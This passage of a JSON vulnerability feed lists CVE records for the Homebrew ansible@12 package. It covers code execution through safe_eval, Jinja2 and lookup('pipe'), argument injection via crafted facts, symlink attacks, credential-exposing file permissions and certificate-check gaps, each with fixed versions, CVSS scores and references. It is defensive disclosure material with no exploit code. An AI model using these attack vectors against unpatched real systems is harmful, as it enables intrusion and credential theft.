`/tmp/`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-4259"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=998223"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2013-1.yaml"},{"type":"WEB","url":"https://groups.google.com/forum/#!topic/ansible-project/UVDYW0HGcNg"},{"type":"WEB","url":"http://www.ansible.com/security"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2014-2686","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-49m5-2838-q2rv","CVE-2014-2686","PYSEC-2020-198"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.5.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"}]},"summary":"Ansible unsafe evaluation of some strings","details":"Ansible prior to 1.5.4 mishandles the evaluation of some strings.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-2686"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/998793fd0ab55705d57527a38cee5e83f535974c"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-198.yaml"},{"type":"WEB","url":"https://groups.google.com/forum/#!searchin/ansible-project/1.5.4/ansible-project/MUQxiKwSQDc/id6aVaawVboJ"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2014-3498","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-4cvm-5776-jx9f","CVE-2014-3498","PYSEC-2017-2"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.6.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Arbitrary Code Execution","details":"User module in ansible before 1.6.6 is vulnerable to command execution. Ansible can get the result of remote command in variable, which may come from untrusted source of input. If the content of variable isn't properly filtered and when attempting to use the variable, it will trigger a function that passes it through jinja 2 template engine that can result into arbitrary command execution. Under certain circumstances, unprivileged user on system that is being managed via ansible can execute code on the managing host under UID of running ansible process.\n","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-3498"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/8ed6350e65c82292a631f08845dfaacffe7f07f5"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1335551"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2017-2.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2014-4657","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-qg47-5px9-32g7","CVE-2014-4657","PYSEC-2020-199"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.5.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"}]},"summary":"Ansible Remote Code Execution","details":"The `safe_eval` function in Ansible before 1.5.4 does not properly restrict the code subset, which allows remote attackers to execute arbitrary code via crafted instructions.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4657"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/998793fd0ab55705d57527a38cee5e83f535974c"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/release1.5.5/CHANGELOG.md"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-199.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20210120133852/https://www.securityfocus.com/bid/68232"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2014-4658","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-5g4v-2pc6-4hh4","CVE-2014-4658","PYSEC-2020-200"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.5.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Sensitive Files Are Locally Readable","details":"The vault subsystem in Ansible before 1.5.5 does not set the umask before creation or modification of a vault file, which allows local users to obtain sensitive key information by reading a file.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4658"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a0e027fe362fbc209dbeff2f72d6e95f39885c69"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/release1.5.5/CHANGELOG.md"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-200.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20210120133853/https://www.securityfocus.com/bid/68233"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2014-4659","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-6667-f46p-pg88","CVE-2014-4659","PYSEC-2020-201"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.5.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"}]},"summary":"Ansible sets unsafe permissions for sources.list","details":"Ansible before 1.5.5 sets 0644 permissions for `sources.list`, which might allow local users to obtain sensitive credential information in opportunistic circumstances by reading a file that uses the `&quot;deb http://user:pass@server:port/&quot;` format.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4659"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a0e027fe362fbc209dbeff2f72d6e95f39885c69"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/release1.5.5/CHANGELOG.md"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-201.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20200229060001/https://www.securityfocus.com/bid/68234"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2014-4660","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-5xm4-jmpw-p6j3","CVE-2014-4660","PYSEC-2020-202"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.5.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible discloses credential information","details":"Ansible before 1.5.5 constructs filenames containing user and password fields on the basis of deb lines in `sources.list`, which might allow local users to obtain sensitive credential information in opportunistic circumstances by leveraging existence of a file that uses the `deb http://user:pass@server:port/` format.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4660"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/c4b5e46054c74176b2446c82d4df1a2610eddc08"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/release1.5.5/CHANGELOG.md"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-202.yaml"},{"type":"WEB","url":"https://security-tracker.debian.org/tracker/CVE-2014-4660"},{"type":"WEB","url":"https://web.archive.org/web/20200229060002/https://www.securityfocus.com/bid/68231"},{"type":"WEB","url":"https://www.openwall.com/lists/oss-security/2014/06/26/19"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2014-4678","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-66c7-5pwv-mm3j","CVE-2014-4678","PYSEC-2020-203"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.6.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Code Injection Vulnerability","details":"The safe_eval function in Ansible before 1.6.4 does not properly restrict the code subset, which allows remote attackers to execute arbitrary code via crafted instructions. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-4657.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4678"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/5429b85b9f6c2e640074176f36ff05fd5e4d1916"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-203.yaml"},{"type":"WEB","url":"https://groups.google.com/forum/message/raw?msg=ansible-announce/ieV1vZvcTXU/5Q93ThkY9rIJ"},{"type":"WEB","url":"https://security-tracker.debian.org/tracker/CVE-2014-4678"},{"type":"WEB","url":"https://www.openwall.com/lists/oss-security/2014/06/26/30"},{"type":"WEB","url":"https://www.openwall.com/lists/oss-security/2014/07/02/2"},{"type":"WEB","url":"https://www.rapid7.com/db/vulnerabilities/freebsd-vid-2c493ac8-205e-11e5-a4a5-002590263bf5"},{"type":"WEB","url":"https://www.rapid7.com/db/vulnerabilities/gentoo-linux-cve-2014-4678"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2014-4966","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-wqq5-c89p-3wc3","CVE-2014-4966","PYSEC-2020-204"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.6.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Arbitrary Code Execution","details":"Ansible before 1.6.7 does not prevent inventory data with \"{{\" and \"lookup\" substrings, and does not prevent remote data with \"{{\" substrings, which allows remote attackers to execute arbitrary code via (1) crafted lookup('pipe') calls or (2) crafted Jinja2 data.\n","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4966"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/62a1295a3e08cb6c3e9f1b2a1e6e5dcaeab32527"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-204.yaml"},{"type":"WEB","url":"http://www.ocert.org/advisories/ocert-2014-004.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2014-4967","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-64cw-m57j-65xj","CVE-2014-4967","PYSEC-2020-205"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.6.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Arbitrary Code Execution","details":"Multiple argument injection vulnerabilities in Ansible before 1.6.7 allow remote attackers to execute arbitrary code by leveraging access to an Ansible managed host and providing a crafted fact, as demonstrated by a fact with (1) a trailing \" src=\" clause, (2) a trailing \" temp=\" clause, or (3) a trailing \" validate=\" clause accompanied by a shell command.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4967"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/62a1295a3e08cb6c3e9f1b2a1e6e5dcaeab32527"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-205.yaml"},{"type":"WEB","url":"http://www.ocert.org/advisories/ocert-2014-004.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2015-3206","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T22:50:17Z","upstream":["GHSA-mffc-9gx5-99g3","CVE-2015-3206","PYSEC-2017-49","PYSEC-2017-66"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","resource":"kerberos","resource_purl":"pkg:pypi/kerberos@1.3.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"kerberos","subject_version":"1.3.1","key":"pkg:pypi/kerberos@1.3.1","resource":"kerberos"}]},"summary":"python-kerberos vulnerable to KDC spoofing attacks","details":"The `checkPassword` function in python-kerberos does not authenticate the KDC it attempts to communicate with, which allows remote attackers to cause a denial of service (bad response), or have other unspecified impact by performing a man-in-the-middle attack.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2015-3206"},{"type":"WEB","url":"https://github.com/apple/ccs-pykerberos/issues/31"},{"type":"WEB","url":"https://github.com/apple/ccs-pykerberos/commit/9cb61c93f9b24dd18a0a315f3df5445529c5c333"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1223802"},{"type":"PACKAGE","url":"https://github.com/apple/ccs-pykerberos"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/kerberos/PYSEC-2017-49.yaml"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pykerberos/PYSEC-2017-66.yaml"},{"type":"WEB","url":"https://pypi.python.org/pypi/kerberos"},{"type":"WEB","url":"https://web.archive.org/web/20150910143429/https://trac.calendarserver.org/ticket/833"},{"type":"WEB","url":"https://web.archive.org/web/20200228090829/http://www.securityfocus.com/bid/74760"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2015/05/21/3"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2015-3908","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-w64c-pxjj-h866","CVE-2015-3908","PYSEC-2015-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.9.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible does not verify that the server hostname matches a domain name in certificates","details":"Ansible before 1.9.2 does not verify that the server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate, which allows man-in-the-middle attackers to spoof SSL servers via an arbitrary valid certificate.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2015-3908"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-w64c-pxjj-h866"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2015-1.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2019/09/msg00016.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-updates/2015-07/msg00051.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-updates/2015-08/msg00029.html"},{"type":"WEB","url":"http://www.ansible.com/security"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2015/07/14/4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2015-6240","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-wwwh-47wp-m522","CVE-2015-6240","PYSEC-2017-3"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.9.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Sandbox Escape via Symlink Attack","details":"The chroot, jail, and zone connection plugins in ansible before 1.9.2 allow local users to escape a restricted environment via a symlink attack.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2015-6240"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/952166f48eb0f5797b75b160fd156bbe1e8fc647"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/ca2f2c4ebd7b5e097eab0a710f79c1f63badf95b"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1243468"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2017-3.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2019/09/msg00016.html"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2015/08/17/10"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2016-3096","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-rh6x-qvg7-rrmj","CVE-2016-3096","PYSEC-2016-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.0.2.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Link Following in ansible","details":"The `create_script` function in the `lxc_container` module in Ansible before 1.9.6-1 and 2.x before 2.0.2.0 allows local users to write to arbitrary files or gain privileges via a symlink attack on (1) `/opt/.lxc-attach-script`, (2) the archived container in the `archive_path` directory, or the (3) `lxc-attach-script.log` or (4) `lxc-attach-script.err` files in the temporary directory.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-3096"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-extras/pull/1941"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-extras/commit/7c3999a92a1cd856ff9bc8913a93ff1aee8bffc3"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1322925"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-rh6x-qvg7-rrmj"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v1.9.6-1/CHANGELOG.md#196-dancing-in-the-street---tbd"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.0.2.0-1/CHANGELOG.md#202-over-the-hills-and-far-away"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2016-1.yaml"},{"type":"WEB","url":"https://groups.google.com/forum/#!topic/ansible-announce/E80HLZilTU0"},{"type":"WEB","url":"https://groups.google.com/forum/#!topic/ansible-announce/tqiZbcWxYig"},{"type":"WEB","url":"https://security.gentoo.org/glsa/201607-14"},{"type":"WEB","url":"http://lists.fedoraproject.org/pipermail/package-announce/2016-April/183103.html"},{"type":"WEB","url":"http://lists.fedoraproject.org/pipermail/package-announce/2016-April/183132.html"},{"type":"WEB